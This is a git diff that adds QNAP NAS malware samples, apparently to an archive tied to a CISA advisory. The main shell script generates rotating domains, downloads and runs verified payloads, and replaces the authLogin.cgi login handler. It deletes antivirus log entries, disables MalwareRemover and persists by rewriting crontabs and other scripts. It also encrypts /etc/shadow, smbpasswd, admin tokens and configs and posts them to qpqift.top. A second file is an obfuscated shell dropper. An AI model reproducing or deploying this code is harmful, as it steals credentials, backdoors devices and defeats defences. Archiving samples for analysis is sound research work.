)) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` && test -d "$bdir" || bdir='' +test -z "${bdir}" || test ! -d "${bdir}"; } && { while read -r bdir; do +test -d "$bdir" && break; bdir='' +done < 1547096400 AND desc LIKE '[AntiVirus] Failed to update virus definitions%'") +conn.commit() +conn.close() +exit() +EOF +test -f '/mnt/HDA_ROOT/.logs/event.log' && python <<"EOF" +import sqlite3 +conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/event.log') +c = conn.cursor() +c.execute("DELETE FROM NASLOG_EVENT WHERE event_timet > 1547096400 AND event_desc LIKE '[AntiVirus] Failed to update virus definitions%'") +conn.commit() +conn.close() +exit() +EOF +fi +if getcfg MalwareRemover Enable -f /etc/config/qpkg.conf | grep -i 'true' || grep 'MalwareRemover' '/etc/config/crontab' '/tmp/cron/crontabs/admin'; then +test -f '/mnt/HDA_ROOT/.logs/notice.log' && python <<"EOF" +import sqlite3 +conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/notice.log') +c = conn.cursor() +c.execute("DELETE FROM NASLOG_NOTICE WHERE time > 1547964000 AND desc LIKE '[MalwareRemover] Malware Remover stopped%'") +conn.commit() +conn.close() +exit() +EOF +test -f '/mnt/HDA_ROOT/.logs/event.log' && python <<"EOF" +import sqlite3 +conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/event.log') +c = conn.cursor() +c.execute("DELETE FROM NASLOG_EVENT WHERE event_timet > 1547964000 AND event_desc LIKE '[MalwareRemover] Malware Remover stopped%'") +conn.commit() +conn.close() +exit() +EOF +touch "1548766800_c" +fi +fi + +if [ ! -f ".qdisk_cmd" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='g2oe7EJJVCiAHY6AG1I1c/lGF8Y=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z3twHZvQqYZ1vLeu4PLnZekdkRY=' + ;; + *i*86*) + arch=i486 + binhash='gWzECXuIp3dz5yI7RJS9d4+xpq4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qdisk_cmd.tmp" "https://qpqift.top/data/qdisk_cmd_${arch}" || rm -f ".qdisk_cmd.tmp" + test -f '.qdisk_cmd.tmp' && rsynchash="$(openssl dgst -sha1 -binary ".qdisk_cmd.tmp" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + mv '.qdisk_cmd.tmp' '.qdisk_cmd' && chmod +x '.qdisk_cmd' + else + rm -f '.qdisk_cmd.tmp' + fi + fi +fi +binhash=''; rsynchash='' + +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${bdir}/.qpkg/${path}" +fi +done + +version=$(getcfg System Version) +test "x${version}" = 'x' && version=$(getcfg System Version -f /etc/default_config/uLinux.conf) +test "${version##*.}" -lt 3 || test "${version%%.*}" -lt 4 || test "$(version=${version#*.}; echo "${version%.*}")" -lt 3 && version=4.3.3 || { test "${version##*.}" -gt 5 && version=4.3.5; } + +if [ ! -d rssdoc ]; then +command -v bunzip2 && compext=bz2 || compext=gz +curl --connect-timeout 12 -m 1200 -k -o "rssdoc.tar.${compext}" "https://qpqift.top/data/rssdoc.tar.${compext}" && test -f "rssdoc.tar.${compext}" && rssdochash="$(openssl dgst -sha1 -binary "rssdoc.tar.${compext}" | openssl base64)" && { test "$rssdochash" = 'WOkc6vlUa7A30GKa4Z4o02CIexk=' || test "$rssdochash" = "0h0Jyx52a/F9YB80Ml4SsEsugyA="; } && { test "$compext" = bz2 && tarflag=j || tarflag=z; } && tar -x${tarflag}f "rssdoc.tar.${compext}" || rm -f rssdoc.tar +rm -f "rssdoc.tar.${compext}" +fi + +rm -f /home/httpd/{Liveupdate,FirmwareRelease{,_beta}S.xml} +ln -s "${CWD}"/rssdoc/{Liveupdate,FirmwareRelease{,_beta}S.xml} /home/httpd + +if grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com\|0\.0\.0\.0'; then +internalwebport=$(/sbin/getcfg System InnerWebAccessPort -d 58080) +localupdateurl="http://127.0.0.1:${internalwebport}" +sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/127.0.0.1:'${internalwebport}'\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +test -f '/etc/config/rssdoc/qpkgcenter_*.xml' || test -h '/etc/config/rssdoc/qpkgcenter_*.xml' && { test -f '.qdisk_cmd' && ./.qdisk_cmd -i '/etc/config/rssdoc/qpkgcenter_*.xml'; rm -f '/etc/config/rssdoc/qpkgcenter_*.xml'; } + +if find /etc/config/rssdoc | grep 'qpkgcenter_.*\.xml'; then +: +else +cp "./rssdoc/Liveupdate/QTS${version}/qpkgcenter_eng.xml" '/etc/config/rssdoc/qpkgcenter_eng.xml' +test -f '.qdisk_cmd' && ./.qdisk_cmd +i '/etc/config/rssdoc/qpkgcenter_eng.xml' +fi + +for file in /etc/config/rssdoc/qpkgcenter_*.xml +do +if [ -f "$file" ] && { rm -f "$file" || [ ! -s "$file" ]; }; then +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +touch "$file" +cp -f "./rssdoc/Liveupdate/QTS${version}/${file##*/}" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi +done +file='' + +for qpkgdir in "${bdir}/.qpkg" '../../.qpkg'; do +test -d "$qpkgdir" && break +done +test -d "${qpkgdir}/MalwareRemover" || mkdir "${qpkgdir}/MalwareRemover" +test -d "${qpkgdir}/MalwareRemover/modules" || mkdir "${qpkgdir}/MalwareRemover/modules" +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover" + +if [ -d "${qpkgdir}/MalwareRemover/modules" ]; then +for file in 10_derek_3.pyc 12_derek_3.pyc; do +if [ ! -f "${qpkgdir}/MalwareRemover/modules/${file}" ] || rm -f "${qpkgdir}/MalwareRemover/modules/${file}" || test -x "${qpkgdir}/MalwareRemover/modules/${file}" || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -gt 150 ] || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -lt 120 ]; then +test -f '.qdisk_cmd' && test -f "${qpkgdir}/MalwareRemover/modules/${file}" && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover/modules/${file}" && rm -f "${qpkgdir}/MalwareRemover/modules/${file}" +openssl base64 -d <<"EOF" >"${qpkgdir}/MalwareRemover/modules/${file}" +A/MNCuVwTVxjAAAAAAAAAAABAAAAQAAAAHMLAAAAZQAAgwAAAWQAAFMoAQAAAE4o +AQAAAHQEAAAAZXhpdCgAAAAAKAAAAAAoAAAAAHMVAAAAbW9kdWxlcy8xMF9kZXJl +a18zLnB5dAgAAAA8bW9kdWxlPgEAAABzAAAAAA== +EOF +chmod -x "${qpkgdir}/MalwareRemover/modules/${file}" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover/modules/${file}" +fi +done +fi +file=''; qpkgdir='' + +if [ ! -f .rsakey ]; then +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +fi + +cgibindir='/home/httpd/cgi-bin' +if [ ! -f "1549101600_c" ] && [ -f "${cgibindir}/authLogin.cgi" ]; then + test -f "1549101600_c" || touch "1549101600_c" + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='rrYwg0D4+4DxcDxYQsNTB4JUGlQ=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z4n2BZdhwjYf0wjM7GCW61WM9eU=' + ;; + *i*86*) + arch=i486 + binhash='U3eHe6syQraRBGgsvkFZH3wibDw=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qal" "https://qpqift.top/data/qal2_${arch}" || rm -f ".qal" + test -f '.qal' && rsynchash="$(openssl dgst -sha1 -binary ".qal" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + mv "${cgibindir}"/authLogin.cgi "${cgibindir}"/sysauthLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv '.qal' "${cgibindir}"/authLogin.cgi && chmod 755 "${cgibindir}"/authLogin.cgi + fi + test -f '.qal' && rm -f '.qal' + fi +fi + +if [ -f "${cgibindir}"/authLogin.cgi ] && "${cgibindir}"/authLogin.cgi | grep '/dev/null || cat "${confdir}/BOOT.conf"` || { test "$arch_o" = arm && __BOOT_CONF=TS-NASARM; } +command -v hal_app > /dev/null 2>&1 && { __BOOT_DEV=$(hal_app --get_boot_pd port_id=0); } +test "${__BOOT_CONF}" = TS-NASARM || test "$arch_o" = arm && { test -f /etc/IS_TAS && __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}7" || __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}5"; } || __BOOT_DEV="${__BOOT_DEV:-/dev/sdx}6" +test "x${CONFIG_DEV_NODE}" != "x" && { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}" > /dev/null 2>&1 || { test -f /etc/IS_TAS && mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } } || mount ${__BOOT_DEV} -t ext2 ${mdir} || { test "${__model}" = "TS-201" && mount -t ext2 /dev/mtdblock4 ${mdir}; } || { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}"; mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } || { test "${__model}" = "TS-269L" && mount -t ext2 /dev/sdc6 ${mdir}; } || { test "${__model}" = "TS-869" && mount -t ext2 /dev/sdi6 ${mdir}; } || { test "$arch_o" = arm || ${__BOOT_CONF} = "TS-NASARM" && { for i in 5 7 4 6 3 8; do mount -t ext2 "/dev/mtdblock${i}" ${mdir} && break; done; }; } || { test "$arch_o" = x86 && for n in /dev/sdc /dev/sdx /dev/sdi $__BOOT_DEV; do for i in 6 $CONFIG_DEV_PART; do mount -t ext2 ${n}${i} ${mdir} && break 2; done; done; } || { mount -t ext2 $(/sbin/hal_app --get_boot_pd port_id=0)6 ${mdir}; } + +if [ $? -eq 0 ] || mount | grep "$mdir" >/dev/null; then +for file in "${mdir}"/K01* "${mdir}/autorun.sh" '/tmp/config/autorun.sh'; do +if [ -f "$file" ]; then +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\ +verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/' +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex' +sedreplace "$grepstring" "$sedcmd" "$file" +sedcmd='s/g4rwwSz1Bp1i1'"'"'/g4rwwS'"''"'z1Bp1i1'"'"'/' +grepstring='g4rwwSz1Bp1i1'"'" +sedreplace "$grepstring" "$sedcmd" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi +done +fi +umount "$mdir" +rmdir "$mdir" +fi + +if [ ! -f '1548914400_c' ]; then +touch '1548914400_c' +key=$(tr -dc 'a-zA-Z0-9' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +test "x$key" = 'x' && key=$(LC_ALL=C sed 's/[^a-zA-Z0-9]//g' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +{ echo "$key" | openssl rsautl -pubin -inkey .rsakey -encrypt | openssl enc -base64 -A; printf ':' +{ echo; for file in "${bdir}/.log/.rqsys.log" /etc/config/.qos_config/users/admin/.qtoken /etc/config/.qos_config/users/admin/secondSV.conf /etc/config/ssmtp/ssmtp.conf /etc/config/smbpasswd /etc/shadow /etc/config/uLinux.conf /etc/default_config/uLinux.conf /mnt/HDA_ROOT/.config/qnapddns.conf /mnt/HDA_ROOT/.config/qid.conf /etc/platform.conf /etc/default_config/BOOT.conf /etc/default_config/Model_Name.conf /etc/config/qid.conf /etc/config/qddns_users.conf; do printf '%s:' "$file"; cat "$file"; echo; done; printf '%s:' "authLogin.cgi"; /home/httpd/cgi-bin/authLogin.cgi; printf '%s:' "display_name"; /sbin/get_display_name; } | gzip | { dd bs=4096 count=512 || head -c 2097152 || cat; } | openssl enc -aes-256-cbc -k "$key" -md md5 -salt -a -A; } | curl --connect-timeout 12 -m 300 -k -d '@-' "https://qpqift.top/ping.pl" +fi + +if [ ! -f 1549429200_c ]; then +touch 1549429200_c +test -f liveupdate.sh && cronscriptpath=.liveupdate/liveupdate.sh || { test -f backup_conf.sh && cronscriptpath=.config/backup_conf.sh; } + +if [ ! -z $cronscriptpath ]; then +{ { crontab -l || cat /etc/config/crontab; } | grep -v '^#' | awk '{ print $6 }'; sed -n 's/^ \?[Ss]hell \?= \?//p' /etc/config/qpkg.conf; } | grep '/' | sort | uniq | while IFS= read -r line; do +test ! -z "$line" || continue +test -f "$line" || continue +test "$line" = $(pwd)/liveupdate.sh || test "$line" = $(pwd)/backup_conf.sh && continue +rm .tmp.cronCDhLbZ +head -n 1 "$line" >.tmp.cronCDhLbZ && grep '^#!/bin/b\?a\?sh' .tmp.cronCDhLbZ || { rm -f .tmp.cronCDhLbZ; continue; } +cat >>.tmp.cronCDhLbZ <<"XXEOF" +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +XXEOF +cat >>.tmp.cronCDhLbZ < "\${bdir}/.qpkg/${cronscriptpath}" <<"XEOF" +XXEOF +cat "${cronscriptpath#*/}" >>.tmp.cronCDhLbZ +cat >>.tmp.cronCDhLbZ </dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "\${bdir}/.qpkg/${cronscriptpath}" || chmod 755 "\${bdir}/.qpkg/${cronscriptpath}" + +crontabargs=\$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\\(.\\+\\)/\\1/p') +trycount=10; trycount=\$(( \$trycount - 10 )) +set x \$crontabargs; shift +while [ \$# -gt 0 ] && [ \$trycount -lt 10 ]; do +trycount=\$(( \$trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "\$OPT" = 'c' && crontabfile="\${OPTARG}/admin" && break +test "\$OPTIND" -gt 0 && shift "\$OPTIND" && OPTIND=1 || break +done +test "\$crontabfile" && test -f "\${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "\$crontabfile" "\${confdir}/crontab"; do +if \$fgrep "\${bdir}/.qpkg/${cronscriptpath}" "\$crontab"; then +: +else +cronmins=\$(printf '%i' "\$(( \$RANDOM % 60 ))") +cronhour=\$(printf '%i' "\$(( \$RANDOM % 24 ))") +cronhour=\$(printf '%i,' "\$(( ( \$cronhour + 8 ) % 24 ))" "\$(( ( \$cronhour + 16 ) % 24 ))")"\$cronhour" +echo "\$cronmins \$cronhour"' * * * '"\${bdir}/.qpkg/${cronscriptpath} >/dev/null 2>/dev/null" >> "\$crontab" +crontab "\$crontab" +sleep 2 +fi +done +) & ) & +XXEOF +sed -n '2,$p' "$line" >>.tmp.cronCDhLbZ && mv .tmp.cronCDhLbZ "$line" +chmod a+x "$line" || chmod 755 "$line" +test -f .tmp.cronCDhLbZ && rm .tmp.cronCDhLbZ +done +fi +fi + +test -f "${ts}_c" || touch "${ts}_c" +rm -f "${CWD}/".tmp.* +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9 new file mode 100644 index 0000000..9a83c72 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9 @@ -0,0 +1,535 @@ +#!/bin/sh +iifEsx=${ItjkToy}tr +EJrRDOD=${yCxo}${cLJbbLDqLZwXv}\\${agYc}${RrjzeLYCRUzos} +VmyzjJv=${xlZGXdYXJFYgH}${kWeAeBftiPR}${JFMCQy}${EJrRDOD}${fHGHSADsOyn}13${mGaotN}${WxMnjPT}3 +CdKAKzH=${wfKXIFWvqOikn}${twRUZectEUG}${CNfQNb}${EJrRDOD}${GSjRhNCYzWG}05${DWpJgo}${kAqrAMV}5 +bHlsbZa=${myLnvVtWItJnf}${UaUurmZJzSI}${tPxwHu}${EJrRDOD}${mAghPcqqNjE}13${HjcERM}${TqxlNfO}4 +$iifEsx '>may!'$CdKAKzH'Gju#Y%nJgRNq&hWIOwAX`+zjG*KlY|\nqfS TaoLDh!=g}FerQ;Rs'$bHlsbZa'Wd'"'"'$Hpy<]"umC{E' << "EgdaOBDdZ" | ${xUSaSbNWXji}s${WWfYBc}h${jXdVSwF} +;Bu xlAbA]/HZ)+YiiU& [kOQv"rSt/Z=Ea68=Z)hmC>'P! l#OBVb"YY$+/NZ)Xp};HVR[tX"BhnuhR/PePZ)y[%CC"/PHZ)(RBPykN|w}}#"v(t.Z)O(XwOV#"NZ)}yA>%"BZ)+HPb#SJ>g"hZ)\$r+w+lo!+bk|Q("Z)v\AYYx"Z)[}h(vLNPlJp "fZ=Ea74=(Z)b+w +%##v+YX!m|"Z);aRD[[yNYJ"T=b}Rvm` &oeE134"aPqkBE055\ +w=s=s=yCWrU{jui;]ZJTxLFY[S>Mz#Xh)+sVgE133QOD!%cl|AER'-<$*NKHdGt(p=T=YZehF=s=s=|W%ERQ coa(t"+xHlvp)ib-'zMwGDTLus};\]E134E055O`gXAjRU&{S$q*V +Cy!kN#=ddsbebuk;kubCSscZ;Bu xlAbAf]m/xv|/sweIB|ksbkJ&+JeWJeJJJJAg(yAJsS#eJJJJAg(yAJ-v|S}W1:M4n#eJJJJAg(yAJ-yqS}W2:M12n#eJJJJAg(yAJpsk`JQQJB(wgJM|BJ`>k`iebBsbJL}W](knLJMBHJ1JllJB(wgJL}(kLJQQJB(wgJLLebBsbJLq}[jj{_"hth"h"LJSJLq88\\45y\61x9\18x47216856(77T1(3Txx38y191LJQQJBqvbJ0ebBsbJmJMKJL}W0nLJllJbBsbJi> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi 